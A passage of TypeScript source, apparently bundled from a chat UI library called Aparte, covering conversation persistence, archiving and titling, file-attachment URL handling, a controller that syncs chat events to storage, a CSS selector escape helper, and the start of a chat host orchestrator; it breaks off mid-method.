`_persistActive()` also fires on plain navigation /\n // teardown (opening a conversation, switching away) ; without this\n // guard, merely viewing a conversation re-saves identical messages and\n // floats it to the top of the list.\n let contentChanged = true;\n try {\n contentChanged = JSON.stringify(messages) !== JSON.stringify(conv.messages);\n } catch { /* unserialisable payload → assume changed */ }\n const updated: AparteConversation = {\n ...conv,\n messages,\n updatedAt: contentChanged ? Date.now() : conv.updatedAt,\n };\n if (tree !== undefined) updated.tree = tree;\n this._replace(updated);\n await this._adapter.save(updated);\n this._notify();\n }\n\n /** Permanently delete a conversation. */\n async delete(id: string): Promise<void> {\n this._conversations = this._conversations.filter(c => c.id !== id);\n if (this._activeId === id) this._activeId = null;\n await this._adapter.delete(id);\n this._notify();\n }\n\n /** Archive a conversation (soft-delete). */\n async archive(id: string): Promise<void> {\n const conv = this._find(id);\n if (!conv) return;\n // Archiving is a metadata change, not a content change — leave\n // `updatedAt` untouched so the conv keeps its real chronological slot.\n const updated: AparteConversation = { ...conv, archivedAt: Date.now() };\n this._replace(updated);\n if (this._adapter.archive) {\n await this._adapter.archive(id);\n } else {\n await this._adapter.save(updated);\n }\n if (this._activeId === id) this._activeId = null;\n this._notify();\n }\n\n /** Restore an archived conversation. */\n async unarchive(id: string): Promise<void> {\n const conv = this._find(id);\n if (!conv) return;\n // Unarchiving is metadata-only — don't bump `updatedAt`, otherwise the\n // restored conv wrongly floats to the top instead of returning to its\n // real chronological position.\n const updated: AparteConversation = { ...conv, archivedAt: undefined };\n this._replace(updated);\n if (this._adapter.unarchive) {\n await this._adapter.unarchive(id);\n } else {\n await this._adapter.save(updated);\n }\n this._notify();\n }\n\n /** Update the title manually. The full input is preserved — UI surfaces\n * (sidebar list, topbar) are responsible for visual truncation via CSS\n * (`min-w-0` + `truncate`). Auto-titles produced internally by\n * `_autoTitle()` remain capped at a sensible length on input. */\n async updateTitle(id: string, title: string): Promise<void> {\n const conv = this._find(id);\n if (!conv) return;\n const updated: AparteConversation = { ...conv, title: title.trim(), updatedAt: Date.now() };\n this._replace(updated);\n await this._adapter.save(updated);\n this._notify();\n }\n\n // ─── Observer ───────────────────────────────────────────────────────────\n\n subscribe(listener: Listener): () => void {\n this._listeners.add(listener);\n return () => this._listeners.delete(listener);\n }\n\n // ─── Private ────────────────────────────────────────────────────────────\n\n private _find(id: string): AparteConversation | undefined {\n return this._conversations.find(c => c.id === id);\n }\n\n private _replace(updated: AparteConversation): void {\n this._conversations = this._conversations.map(c =>\n c.id === updated.id ? updated : c\n );\n }\n\n private _notify(): void {\n const snapshot = [...this._conversations];\n // Each listener is isolated: a throwing/slow listener must not break\n // the notification chain for the others. Errors are surfaced via\n // console.error so they remain debuggable in dev tools.\n this._listeners.forEach(l => {\n try {\n l(snapshot);\n } catch (err) {\n console.error('[AparteConversationManager] listener threw:', err);\n }\n });\n }\n\n private _autoTitle(msg: AparteMessage): string {\n const raw = msg.content;\n const text = typeof raw === 'string' ? raw : (raw ?? '').toString();\n // Auto-title from the first user message. Full content is preserved\n // (UI surfaces handle visual truncation via CSS). The user can rename\n // freely afterwards via updateTitle() — also untouched.\n return text.trim() || 'New Chat';\n }\n}\n","import type { AparteAttachment } from '../types/models.js';\nimport { uuid } from './uuid.js';\n\n\n\n/**\n * Turn the `File[]` an `aparte-send` event carries into the\n * {@link AparteAttachment}[] a message renders.\n *\n * The composer hands you raw `File`s; a bubble needs an id, a MIME type and a\n * `url` to show a chip or a thumbnail. The `ConversationController` (used by the\n * framework wrappers) does this internally — this is the same conversion,\n * exported so a raw-core consumer driving `appendMessage()` itself doesn't have\n * to hand-roll object URLs:\n *\n * ```ts\n * chat.addEventListener('aparte-send', (e) => {\n * const { content, files } = e.detail;\n * chat.viewport?.appendMessage({\n * id: uuid(), role: 'user', content, timestamp: Date.now(),\n * ...(files?.length ? { attachments: filesToAttachments(files) } : {}),\n * });\n * });\n * ```\n *\n * The `url` comes from `URL.createObjectURL`, so it lives as long as the\n * document; the raw `File` rides along on `blob` for storage adapters that\n * persist attachments and rebuild the url on reload.\n *\n * That lifetime is deliberate for a rendered attachment — but it is also a leak\n * once the attachment is gone: a long session that sends many files retains every\n * `File` for the life of the page. Call {@link revokeAttachmentUrls} when you know\n * they are no longer rendered; core does it on `clearAll()`.\n */\nexport function filesToAttachments(files: readonly File[]): AparteAttachment[] {\n return files.map((file) => ({\n id: uuid(),\n name: file.name,\n type: file.type || 'application/octet-stream',\n url: URL.createObjectURL(file),\n size: file.size,\n blob: file,\n }));\n}\n\n/**\n * Release the object URLs of attachments that are no longer on screen.\n *\n * Nothing revoked them, so every `File` a session sent stayed reachable until the\n * page went away. Only the caller knows when an attachment stops being rendered —\n * a persisted conversation may re-render one much later — so this is a function\n * rather than something `filesToAttachments` could schedule.\n *\n * Safe to call twice: revoking an already-revoked or foreign URL is a no-op, and a\n * `blob` is left in place so a storage adapter can still rebuild the url.\n */\nexport function revokeAttachmentUrls(attachments: readonly AparteAttachment[] | undefined): void {\n if (!attachments?.length) return;\n if (typeof URL === 'undefined' || typeof URL.revokeObjectURL !== 'function') return;\n for (const attachment of attachments) {\n if (attachment.url?.startsWith('blob:')) URL.revokeObjectURL(attachment.url);\n }\n}\n","import type { AparteMessage, AparteAttachment } from '../types/index.js';\nimport type { AparteConversationManager } from './conversation-manager.js';\nimport type { AparteConversation } from './types.js';\nimport type { ExportedMessageRepository } from '../runtime/message-repository.js';\nimport { resolveConfig } from '../config/config-context.js';\nimport { aparteGlobalConfig } from '../config/aparte-config.js';\nimport type { AparteConfig } from '../config/aparte-config.js';\nimport { filesToAttachments } from '../utils/files-to-attachments.js';\nimport { uuid } from '../utils/uuid.js';\n\n/**\n * Abstract binding between a chat UI and the conversation lifecycle.\n *\n * Each framework wrapper (Angular, React, Vue, Svelte) provides an\n * implementation that knows how to mutate its own message list. The\n * controller orchestrates loading, persistence and abort using only this\n * interface, keeping the conversation engine fully framework-agnostic.\n */\nexport interface AparteChatBinding {\n /** Stable id of the host element (used as `targetId` for scoped events). */\n readonly hostId: string;\n /** The element that emits/receives `aparte-send` and `aparte-path-changed`. */\n readonly host: HTMLElement;\n /** Replace the entire message list (used when switching conversations). */\n setMessages(messages: AparteMessage[]): void;\n /** Append a single message (used for the optimistic user-msg on send). */\n appendMessage(message: AparteMessage): void;\n /** Read the current message list. */\n getMessages(): AparteMessage[];\n /** Clear all messages (e.g. when starting a new conversation). */\n clearMessages(): void;\n /**\n * Export the full conversation tree for persistence.\n * Optional: only available when the binding wraps a `AparteMessageRepository`\n * (e.g. the vanilla viewport). Returns `undefined` when not supported.\n */\n exportTree?(): ExportedMessageRepository | undefined;\n /**\n * Import a previously-persisted tree snapshot, restoring full branch\n * topology. Called by the controller after `setMessages` (which handles\n * cleanup) when the loaded conversation carries a `tree` field.\n * Optional: falls back to the flat `setMessages` load when absent.\n */\n importTree?(tree: ExportedMessageRepository): void;\n}\n\nexport interface AparteConversationControllerOptions {\n /**\n * Conversation manager. If omitted, the controller resolves it from\n * `aparteGlobalConfig.getConversationManager()` when first needed.\n */\n manager?: AparteConversationManager;\n /**\n * Called whenever a new conversation is created lazily (on first user\n * message in an empty thread). Useful for the parent app to sync the URL.\n */\n onConversationCreated?: (id: string) => void;\n}\n\n/**\n * Connects an `AparteChatBinding` to a `AparteConversationManager`.\n *\n * Responsibilities:\n * - Load messages when `setConversationId(id)` is called.\n * - Lazily create a conversation on the first user `aparte-send` if none active.\n * - Persist updates triggered by `aparte-path-changed` (branch nav, retry, edit).\n * - Dispatch `aparte-abort` when the active conversation changes mid-stream.\n *\n * Usage:\n * ```ts\n * const controller = new AparteConversationController(binding);\n * const stop = controller.bind();\n * controller.setConversationId('abc-123');\n * // …\n * stop();\n * ```\n */\nexport class AparteConversationController {\n private _binding: AparteChatBinding;\n private _options: AparteConversationControllerOptions;\n private _activeId: string | null = null;\n private _isStreaming = false;\n private _isLoadingConversation = false;\n private _ensureInFlight: Promise<string> | null = null;\n\n private _onSendCapture: ((e: Event) => void) | null = null;\n private _onPathChanged: ((e: Event) => void) | null = null;\n private _onMessageStart: (() => void) | null = null;\n private _onMessageDone: (() => void) | null = null;\n private _onMessageError: (() => void) | null = null;\n private _onMessageAborted: (() => void) | null = null;\n private _onSelectConversation: ((e: Event) => void) | null = null;\n private _unsubscribeManager: (() => void) | null = null;\n\n constructor(binding: AparteChatBinding, options: AparteConversationControllerOptions = {}) {\n this._binding = binding;\n this._options = options;\n }\n\n /** The current active conversation id (null when none selected). */\n get activeId(): string | null {\n return this._activeId;\n }\n\n /**\n * Lazily resolve the conversation manager. Returns `undefined` if none is\n * registered — the controller then runs in degraded mode: optimistic UI\n * still works (user message is appended) but no persistence happens. This\n * keeps backward compatibility with hosts that haven't opted into the\n * conversation lifecycle yet.\n */\n private _manager(): AparteConversationManager | undefined {\n // Explicit option first, then the config governing the host element\n // (instance config under a [data-aparte-host] boundary, else the global).\n if (this._options.manager) return this._options.manager;\n const scoped = resolveConfig(this._binding.host);\n const manager = scoped.getConversationManager();\n if (!manager) this._warnManagerOnTheWrongConfig(scoped);\n return manager;\n }\n\n /**\n * Degraded mode is legitimate — a host that never opted into the conversation\n * lifecycle has no manager and should not be nagged. Registering one on the\n * WRONG config is not: the four wrapper hooks used to write it to the global\n * singleton unconditionally, so `config` + persistence looked like it worked\n * (the optimistic UI still appends) and saved nothing at all.\n *\n * Warned once per controller, and only in the case that is unambiguously a\n * mistake: no manager here, but one on the global.\n */\n private _warnedNoManager = false;\n private _warnManagerOnTheWrongConfig(scoped: AparteConfig): void {\n if (this._warnedNoManager) return;\n if (scoped === aparteGlobalConfig || !aparteGlobalConfig.getConversationManager()) return;\n this._warnedNoManager = true;\n console.warn(\n '[aparte] This chat resolves its own config, but the conversation manager was '\n + 'registered on aparteGlobalConfig — so nothing is being persisted. Pass the same '\n + 'config to init(): `init(adapter, myConfig)`, using the config you gave the chat.',\n );\n }\n\n /**\n * Attach event listeners to the binding host. Returns an unbind function.\n */\n bind(): () => void {\n const host = this._binding.host;\n\n // Capture-phase aparte-send so we can ensure a conversation exists and\n // append the user message BEFORE AparteClient (window-bubble listener)\n // sees the event. Without capture, AparteClient would race with us.\n this._onSendCapture = (e: Event) => {\n const evt = e as CustomEvent<{ content?: string; targetId?: string; files?: File[]; timestamp?: number }>;\n // Only handle events targeting this binding\n const targetId = evt.detail?.targetId;\n if (targetId && targetId !== this._binding.hostId) return;\n\n const content = evt.detail?.content ?? '';\n const files = evt.detail?.files;\n // Shared with raw-core consumers via the exported `filesToAttachments`\n // (it carries the raw File so a storage adapter can persist it and\n // rebuild `url` on reload).\n const attachments: AparteAttachment[] | undefined = files?.length\n ? filesToAttachments(files)\n : undefined;\n const userMsg: AparteMessage = {\n id: uuid(),\n role: 'user',\n content,\n timestamp: evt.detail?.timestamp ?? Date.now(),\n ...(attachments ? { attachments } : {}),\n };\n\n // 1. Optimistic UI: append the user message immediately so it\n // appears before any AI streaming begins.\n this._binding.appendMessage(userMsg);\n\n // 2. Ensure a conversation exists (lazy create on first send) and\n // persist the user message. Done async; AparteClient continues.\n void this._ensureConversationAndPersist(userMsg);\n };\n host.addEventListener('aparte-send', this._onSendCapture, { capture: true });\n\n // Persist after every path change (branch nav, edit, retry).\n // Note: streaming completion does NOT dispatch aparte-path-changed;\n // see _onMessageDone/Error/Aborted below for that case.\n // Guard: skip during setConversationId() — importTree() triggers\n // aparte-path-changed synchronously when restoring branch topology,\n // and persisting there would touch updatedAt causing the conv to\n // float to the top of the history list without any real modification.\n this._onPathChanged = () => {\n if (!this._isLoadingConversation) {\n this._persistActive();\n }\n };\n host.addEventListener('aparte-path-changed', this._onPathChanged);\n\n // Track streaming state so setConversationId can abort cleanly, AND\n // persist freshly-completed assistant turns to storage. Without this,\n // assistant messages would only ever live in the in-memory binding\n // because aparte-path-changed is reserved for branch operations.\n this._onMessageStart = () => { this._isStreaming = true; };\n this._onMessageDone = () => {\n this._isStreaming = false;\n // Defer one microtask so any synchronous listener that finalises\n // the message in the binding (e.g. viewport state flush) runs\n // before we snapshot getMessages().\n queueMicrotask(() => this._persistActive());\n };\n this._onMessageError = () => {\n this._isStreaming = false;\n queueMicrotask(() => this._persistActive());\n };\n this._onMessageAborted = () => {\n this._isStreaming = false;\n queueMicrotask(() => this._persistActive());\n };\n host.addEventListener('aparte-message-start', this._onMessageStart);\n host.addEventListener('aparte-message-done', this._onMessageDone);\n host.addEventListener('aparte-message-error', this._onMessageError);\n host.addEventListener('aparte-message-aborted', this._onMessageAborted);\n\n // App-level selection bus. Lets sidebars / nav menus drive the\n // active conversation without going through Angular @Input bindings,\n // and works even when the user clicks the conversation that's\n // already active (where route params don't re-emit).\n // Detail shape: { id: string | null, targetId?: string }.\n // When `targetId` is set, only the matching binding handles it\n // (multi-chat hosts). When omitted, every bound controller listens.\n this._onSelectConversation = (e: Event) => {\n const evt = e as CustomEvent<{ id: string | null; targetId?: string }>;\n const targetId = evt.detail?.targetId;\n if (targetId && targetId !== this._binding.hostId) return;\n void this.setConversationId(evt.detail?.id ?? null);\n };\n if (typeof window !== 'undefined') {\n window.addEventListener('aparte-select-conversation', this._onSelectConversation);\n }\n\n // Subscribe to manager so we can react to external mutations\n // (e.g. another component deleting/archiving the active conv).\n // Without this the binding would keep showing a phantom history\n // for an id the manager no longer knows about.\n const manager = this._manager();\n if (manager) {\n this._unsubscribeManager = manager.subscribe((convs) => {\n if (!this._activeId) return;\n const stillExists = convs.some((c) => c.id === this._activeId && !c.archivedAt);\n if (!stillExists) {\n // If a stream is in flight, kill it before clearing the binding.\n // Without this, deleting the active conv leaves the orchestrator\n // and AI provider running until they finish naturally.\n if (this._isStreaming) {\n try {\n window.dispatchEvent(new CustomEvent('aparte-abort', {\n detail: { targetId: this._binding.hostId },\n }));\n } catch {\n /* environments without window */\n }\n this._isStreaming = false;\n }\n this._activeId = null;\n this._binding.clearMessages();\n }\n });\n }\n\n return () => this.unbind();\n }\n\n /** Detach event listeners. */\n /** Release handle for the hydration-retry subscription (see setConversationId). */\n private _stopHydrationRetry: (() => void) | null = null;\n\n unbind(): void {\n // Persist current state before tearing down. This covers the case where\n // the host component is destroyed mid-stream (e.g. \"New Chat\" navigates\n // to a new route instance): _persistActive() would never be called\n // otherwise, losing the partially-written assistant message.\n // _persistActive() is a no-op when _activeId is null, so this is safe\n // for new instances that were never given a conversation id.\n this._persistActive();\n this._stopHydrationRetry?.();\n this._stopHydrationRetry = null;\n const host = this._binding.host;\n if (this._onSendCapture) {\n host.removeEventListener('aparte-send', this._onSendCapture, { capture: true } as EventListenerOptions);\n this._onSendCapture = null;\n }\n if (this._onPathChanged) {\n host.removeEventListener('aparte-path-changed', this._onPathChanged);\n this._onPathChanged = null;\n }\n if (this._onMessageStart) {\n host.removeEventListener('aparte-message-start', this._onMessageStart);\n this._onMessageStart = null;\n }\n if (this._onMessageDone) {\n host.removeEventListener('aparte-message-done', this._onMessageDone);\n this._onMessageDone = null;\n }\n if (this._onMessageError) {\n host.removeEventListener('aparte-message-error', this._onMessageError);\n this._onMessageError = null;\n }\n if (this._onMessageAborted) {\n host.removeEventListener('aparte-message-aborted', this._onMessageAborted);\n this._onMessageAborted = null;\n }\n if (this._onSelectConversation && typeof window !== 'undefined') {\n window.removeEventListener('aparte-select-conversation', this._onSelectConversation);\n this._onSelectConversation = null;\n }\n if (this._unsubscribeManager) {\n this._unsubscribeManager();\n this._unsubscribeManager = null;\n }\n }\n\n /**\n * Switch to (or clear) the active conversation.\n * - `null`: clears the binding and deselects in the manager.\n * - any id: loads the conversation's messages into the binding.\n *\n * Idempotent: calling with the current id forces a re-snapshot from the\n * manager (handy when external mutations could have desynchronised the\n * binding, or when a user re-selects the already-active conv from a\n * sidebar). Streams are only aborted on an actual id change so a same-id\n * reload never kills an in-flight response.\n */\n async setConversationId(id: string | null): Promise<void> {\n const isSwitch = id !== this._activeId;\n const manager = this._manager();\n // Abort any in-flight stream tied to this binding only when actually\n // switching to a different conversation.\n if (isSwitch && this._isStreaming) {\n // Persist the current state (user message + partial assistant reply)\n // BEFORE aborting. The abort event fires asynchronously; if we\n // persist after it, the binding may already be cleared/replaced.\n this._persistActive();\n try {\n window.dispatchEvent(new CustomEvent('aparte-abort', {\n detail: { targetId: this._binding.hostId },\n }));\n } catch {\n /* environments without window */\n }\n this._isStreaming = false;\n }\n\n if (id === null) {\n // Always sync the manager to null so external observers (e.g. sidebar\n // active-id highlight) reflect the cleared state — even when this\n // controller instance already has _activeId = null (new mount on root).\n if (isSwitch) this._persistActive();\n // Abort any in-flight stream when navigating away to home (null),\n // mirroring the same guard that exists for non-null switches above.\n if (isSwitch && this._isStreaming) {\n try {\n window.dispatchEvent(new CustomEvent('aparte-abort', {\n detail: { targetId: this._binding.hostId },\n }));\n } catch {\n /* environments without window */\n }\n this._isStreaming = false;\n }\n this._activeId = null;\n manager?.clearActive();\n if (isSwitch) this._binding.clearMessages();\n return;\n }\n\n const conv = manager?.conversations.find((c: AparteConversation) => c.id === id);\n if (!manager || !conv) {\n // Race-condition guard. When the host (Angular APP_INITIALIZER, route\n // resolver, or any other async init) hands us a conversationId BEFORE\n // the manager has finished hydrating from IndexedDB, the id is\n // legitimately not in `manager.conversations` yet — but it WILL be\n // there shortly after `manager.init()` resolves. Clearing the binding\n // here would wipe the persisted tree from the UI (and break the\n // history that the LLM relies on for multi-turn coherence).\n //\n // Signal: when the manager exists but `initialized` is still false\n // (i.e. `init()` has not yet completed), treat this as \"hydrating\"\n // and defer the decision. Subscribe once; when the manager next\n // emits with the id NOW present, re-run setConversationId(id) to\n // load the tree. If the id is still missing after the emit, we\n // fall back to the clear path below (truly unknown id case).\n //\n // We deliberately do NOT use `conversations.length === 0` here —\n // that conflates \"still hydrating\" with \"hydrated but empty\"\n // (first-time user, no convs yet), which would defer forever.\n if (manager && !manager.initialized) {\n // Held so `unbind()` can release it: a host destroyed while the\n // manager is still hydrating used to leave this subscription\n // alive, and the later emit then called `setConversationId` on an\n // unbound controller — writing messages into a torn-down binding.\n this._stopHydrationRetry?.();\n const stop = manager.subscribe(() => {\n stop();\n this._stopHydrationRetry = null;\n // Only retry if the id has become known. Otherwise let the\n // next emit (or a later setConversationId call) handle it.\n if (manager.conversations.some((c: AparteConversation) => c.id === id)) {\n void this.setConversationId(id);\n } else if (this._activeId === null) {\n // Hydration finished without the id — that id is truly\n // unknown (deleted conv, stale URL). Clear now.\n console.warn('[ConversationController] id still unknown after hydration — clearing. id:', id);\n manager.clearActive();\n this._binding.clearMessages();\n }\n });\n this._stopHydrationRetry = stop;\n return;\n }\n console.warn('[ConversationController] unknown id or no manager — clearing. manager:', !!manager, 'conv:', !!conv);\n // Unknown id (or no manager) — treat as clear to keep state consistent.\n this._activeId = null;\n manager?.clearActive();\n this._binding.clearMessages();\n return;\n }\n\n this._activeId = id;\n // The controller is the sole writer of `manager._activeId`. Other\n // components must dispatch `aparte-select-conversation` rather than\n // calling `manager.select()` directly.\n manager.select(id);\n // setMessages always runs first: it handles cleanup (stop streaming,\n // clear rendered ids, reset spacer) and sets the flat active-path signal.\n // importTree (below) may dispatch aparte-path-changed synchronously — flag\n // the load to prevent _onPathChanged from calling _persistActive() and\n // touching updatedAt (which would cause the conv to float to the top).\n this._isLoadingConversation = true;\n try {\n this._binding.setMessages([...conv.messages]);\n // If the conversation has a full tree snapshot and the binding supports\n // importing it, restore the branch topology on top. This is a no-op\n // for bindings that don't implement importTree.\n if (conv.tree && this._binding.importTree) {\n this._binding.importTree(conv.tree);\n }\n } finally {\n this._isLoadingConversation = false;\n }\n }\n\n // ─────────────────────────────────────────────────────────────────────\n // Internal\n // ─────────────────────────────────────────────────────────────────────\n\n /**\n * Snapshot the binding's current messages and push them to the manager.\n * No-op when there is no active conversation or no manager registered.\n * Idempotent: safe to call multiple times in a row.\n *\n * Any message whose status is 'streaming' or 'pending' at persist-time is\n * normalised to 'completed' so that reloading the conversation does not\n * re-enter streaming UI (caret, spinner, no action buttons) for content\n * that was partially written before a switch or component destruction.\n */\n private _persistActive(): void {\n if (!this._activeId) return;\n const manager = this._manager();\n if (!manager) return;\n const msgs = this._binding.getMessages().map(m =>\n (m.status === 'streaming' || m.status === 'pending')\n ? { ...m, status: 'completed' as const }\n : m\n );\n // Export the full branch tree when the binding supports it.\n // Normalize streaming/pending nodes so reloading never re-enters\n // streaming UI for content that was only partially written.\n let tree = this._binding.exportTree?.();\n if (tree) {\n tree = {\n headId: tree.headId,\n messages: tree.messages.map(({ message, parentId }) => ({\n message: (message.status === 'streaming' || message.status === 'pending')\n ? { ...message, status: 'completed' as const }\n : message,\n parentId,\n })),\n };\n }\n void manager.updateMessages(this._activeId, msgs, tree);\n }\n\n private async _ensureConversationAndPersist(userMsg: AparteMessage): Promise<void> {\n const manager = this._manager();\n if (!manager) {\n // No persistence layer wired — optimistic UI was already applied by\n // the send-handler; we have nothing more to do.\n return;\n }\n\n // Capture the active id at send-time. If the user switches\n // conversations while createNew()/addMessage() are in flight we\n // must not clobber the new active id.\n const wasActiveId = this._activeId;\n let convId = wasActiveId ?? manager.activeId;\n\n if (!convId) {\n // Coalesce concurrent sends (e.g. suggestion + quick type) into one\n // conversation creation.\n if (!this._ensureInFlight) {\n // Title kept full-length; UI surfaces handle visual truncation\n // via CSS (`min-w-0` + `truncate`). See conversation-manager\n // updateTitle() / _autoTitle() comments.\n const text = (userMsg.content ?? '').toString().trim() || 'New Chat';\n this._ensureInFlight = manager.createNew(text).then(conv => conv.id);\n }\n convId = await this._ensureInFlight;\n this._ensureInFlight = null;\n\n // Race guard: if the user switched away while createNew() was\n // resolving, the optimistic user message was already replaced\n // in the binding by setConversationId(). The freshly-created\n // conversation is an orphan; drop it and bail rather than\n // persisting a ghost message into a conv the user can't see.\n if (this._activeId !== wasActiveId) {\n void manager.delete(convId).catch(() => { /* best effort */ });\n return;\n }\n\n this._activeId = convId;\n this._options.onConversationCreated?.(convId);\n } else if (this._activeId !== null && this._activeId !== convId) {\n // Existing-conv path but the user switched between the optimistic\n // append and now. The message was visually shown in the old conv;\n // persist it there and stop — do not mutate the new active conv.\n await manager.addMessage(convId, userMsg).catch(() => { /* best effort */ });\n return;\n }\n\n await manager.addMessage(convId, userMsg);\n }\n}\n","/**\n * Escape a value for safe interpolation into a DOUBLE-QUOTED CSS attribute\n * selector: `[attr=\"${cssEscape(value)}\"]`. Inside a quoted CSS string only `\"`\n * (which would end the string) and `\\` (the escape char) are special, so escaping\n * those two is sufficient AND correct here — unlike `CSS.escape`, which targets the\n * UNquoted identifier context and over-escapes inside quotes (breaking the match),\n * and which also needs the `CSS` global (absent in SSR / some test runtimes).\n *\n * Segment/message ids are random UUIDs in the default flow, so this is\n * defense-in-depth: a hostile, stream-supplied id containing `\"` (e.g. a tool-call\n * id) can no longer break out of the selector into a `SyntaxError` or a\n * selector-list that mis-targets another element.\n */\nexport function cssEscape(value: string): string {\n return value.replace(/[\"\\\\]/g, '\\\\$&');\n}\n","import type {\n AparteMessage,\n AparteSegment,\n AparteUsage,\n AparteSiblingInfo,\n ApartePathChangedEventDetail,\n} from '../types/index.js';\nimport type { SyncableBubble } from '../components/bubble/bubble-sync.js';\nimport { populateBubbleFromMessage } from '../components/bubble/bubble-sync.js';\nimport type { ExportedMessageRepository } from '../runtime/message-repository.js';\nimport {\n AparteConversationController,\n type AparteChatBinding,\n} from '../conversations/conversation-controller.js';\nimport type { AparteConfig } from '../config/aparte-config.js';\nimport { attachConfig, detachConfig } from '../config/config-context.js';\nimport { cssEscape } from '../utils/css-escape.js';\n\n/**\n * Imperative slice of `<aparte-chat-bubble>` the host mutates directly during\n * streaming (segment add/update/remove + status). Loosely typed so any element\n * exposing the surface works (custom element, test double).\n */\ninterface StreamingBubble extends SyncableBubble {\n addSegment?(segment: AparteSegment): void;\n removeSegment?(segmentId: string): void;\n updateMessage?(updates: { status?: string }): void;\n}\n\n/**\n * Imperative slice of `<aparte-chat-viewport>` the host forwards to. Every method\n * is optional so the host degrades gracefully if a consumer passes a stripped\n * element; the real viewport implements them all.\n */\ninterface ViewportApi {\n appendToken?(messageId: string, chunk: string): void;\n /** Direct, in-place segment write — the fast path behind `appendToSegment`. */\n appendToSegment?(messageId: string, segmentId: string, chunk: string): void;\n completeMessage?(messageId: string): void;\n addBranch?(messageId: string): number;\n addSiblingOf?(existingId: string, newMessage: AparteMessage): string | null;\n truncateFrom?(messageId: string): void;\n truncateResponsesAfter?(userMessageId: string): void;\n getMessage?(messageId: string): AparteMessage | undefined;\n appendMessage?(message: AparteMessage): void;\n updateMessage?(messageId: string, updates: Partial<AparteMessage>): void;\n exportTree?(): ExportedMessageRepository;\n importTree?(tree: ExportedMessageRepository): void;\n clearAll?(): void;\n resetSpacer?(): void;\n configure?(config: { layoutTransitionMs?: number }): void;\n setAutoScroll?(enabled: boolean): void;\n setFrameworkManagedDOM?(managed: boolean): void;\n requestSmoothScroll?(): void;\n}\n\n/**\n * Everything `AparteChatHost` needs from the framework, expressed without any\n * framework types. Each wrapper (Angular signals, React state, Vue refs, Svelte\n * stores) implements these ~10 closures over its own reactive message list.\n */\nexport interface AparteChatHostBinding {\n /** Stable id for the host element (used as `targetId` for scoped events). */\n readonly hostId: string;\n /** The element `AparteClient` drives + that emits lifecycle/path events. */\n readonly host: HTMLElement;\n /** The `<aparte-chat-viewport>` element (branch ops, token append, bubbles). */\n readonly viewport: HTMLElement | null;\n\n /** Read the current message list (a snapshot). */\n getMessages(): AparteMessage[];\n /** Replace the framework's message list (triggers its re-render). */\n setMessages(messages: AparteMessage[]): void;\n\n /** Notify the consumer that messages changed (drives `messagesChange`). */\n onMessagesChange?(messages: AparteMessage[]): void;\n /** Notify the consumer a message was appended (drives `messageAppended`). */\n onMessageAppended?(message: AparteMessage): void;\n /** Flip the typing/“thinking” indicator. */\n onTypingChange?(isTyping: boolean): void;\n /** Streaming target id changed (drives `isStreaming`). */\n onStreamingChange?(streamingId: string | null): void;\n /** Run a callback after the framework has applied the latest render. */\n afterRender(cb: () => void): void;\n /** Reset the composer (clear text/attachments) on conversation swap. */\n resetComposer?(): void;\n}\n\nexport interface AparteChatHostOptions {\n /** Forwarded to `viewport.configure({ layoutTransitionMs })` when > 0. */\n layoutTransitionMs?: number;\n /** Initial conversation id to load when the controller is created. */\n conversationId?: string | null;\n /** Called when the controller lazily creates a conversation on first send. */\n onConversationCreated?: (id: string) => void;\n /**\n * Instance config for this chat. When provided, {@link bind} marks the host\n * element as a `[data-aparte-host]` boundary so every Aparte component inside it\n * (bubbles, composer, renderers) resolves THIS config instead of the global\n * `aparteGlobalConfig` — the seam that lets several independently-configured chats\n * coexist on one page. Omit to keep the global-config behaviour.\n */\n config?: AparteConfig;\n}\n\n/**\n * Framework-agnostic chat-host orchestrator.\n *\n * Owns the streaming/branch/host-method layer that previously lived inline in\n * the Angular wrapper: it installs the imperative method surface `AparteClient`\n * calls onto the host element, tracks the streaming target id from\n * `apartemessage*` lifecycle events, guards writes against orphan streams (late\n * SSE after a conversation switch), handles `aparte-path-changed` branch\n * navigation, keeps the viewport's repo in sync before branch ops, and\n * reconciles bubbles via `populateBubbleFromMessage`.\n *\n * It composes — does not replace — `AparteConversationController` (persistence /\n * load / lazy-create) which it instantiates internally from the same binding.\n *\n * Each framework provides an {@link AparteChatHostBinding} over its reactive\n * message list and calls {@link bind} after the view mounts; the framework is\n * responsible for rendering `<aparte-chat-bubble message-id=\"…\">` elements inside\n * the viewport and calling {@link syncBubbles} whenever its message list\n * changes (its idiomatic reactive hook: Angular effect, React effect, Vue\n * watch, Svelte afterUpdate).\n */\nexport class AparteChatHost {\n private readonly binding: AparteChatHostBinding;\n private readonly options: AparteChatHostOptions;\n\n /** Id of the assistant message currently streaming (null when idle). */\n private _streamingId: string | null = null;\n /** Message ids already reconciled onto a bubble (skip-rerender cache). */\n private readonly _renderedIds = new Set<string>();\n /** Sibling info from the last path-change, applied after the next render. */\n private _pendingSiblings?: AparteSiblingInfo[];\n /** Abort handle for an in-flight {@link streamTokens} loop. */\n private _streamAbort?: AbortController;\n /** Segment chunks written to the bubble, awaiting one coalesced state sync. */\n /**\n * Buffered segment text, per segment id, as `base + text` — an **absolute**\n * target, never a delta.\n *\n * Why absolute: the immediate paint (`appendToSegment` below) writes through the\n * viewport into the very segment object the framework list holds — they are the\n * same object, handed to both by `addSegment`. A delta added at flush time would\n * therefore land on content that already contains it, and every chunk came out\n * doubled. `base` is captured before the paint, so whoever mutates the shared\n * object in between cannot change the result.\n */\n private readonly _segmentBuffer = new Map<string, { base: string; text: string }>();\n /** {@link streamTokens} text written to the bubble, awaiting the same sync. */\n private _tokenBuffer: { messageId: string; text: string } | null = null;\n /** Handle of the scheduled coalesced sync, or null when none is pending. */\n private _flushHandle: number | null = null;\n\n private _conversationId: string | null = null;\n private _controller?: AparteConversationController;\n private _teardown: Array<() => void> = [];\n private _bound = false;\n\n constructor(binding: AparteChatHostBinding, options: AparteChatHostOptions = {}) {\n this.binding = binding;\n this.options = options;\n this._conversationId = options.conversationId ?? null;\n }\n\n // ── lifecycle ──────────────────────────────────────────────────────────\n\n /**\n * Install the host-method surface + event listeners and create the\n * conversation controller. Returns a teardown function; call once after the\n * view (viewport + composer) has mounted.\n */\n bind(): () => void {\n if (this._bound) return () => this.unbind();\n this._bound = true;\n\n const host = this.binding.host as HTMLElement & Record<string, unknown>;\n if (!host.id) host.id = this.binding.hostId;\n\n // Mark this host as an instance-config boundary FIRST, so everything\n // below (and every component inside, which resolves live) reads the\n // instance config rather than the global singleton.\n if (this.options.config) attachConfig(this.binding.host, this.options.config);\n\n const vp = this._vp();\n vp?.setFrameworkManagedDOM?.(true);\n if (this.options.layoutTransitionMs && this.options.layoutTransitionMs > 0) {\n 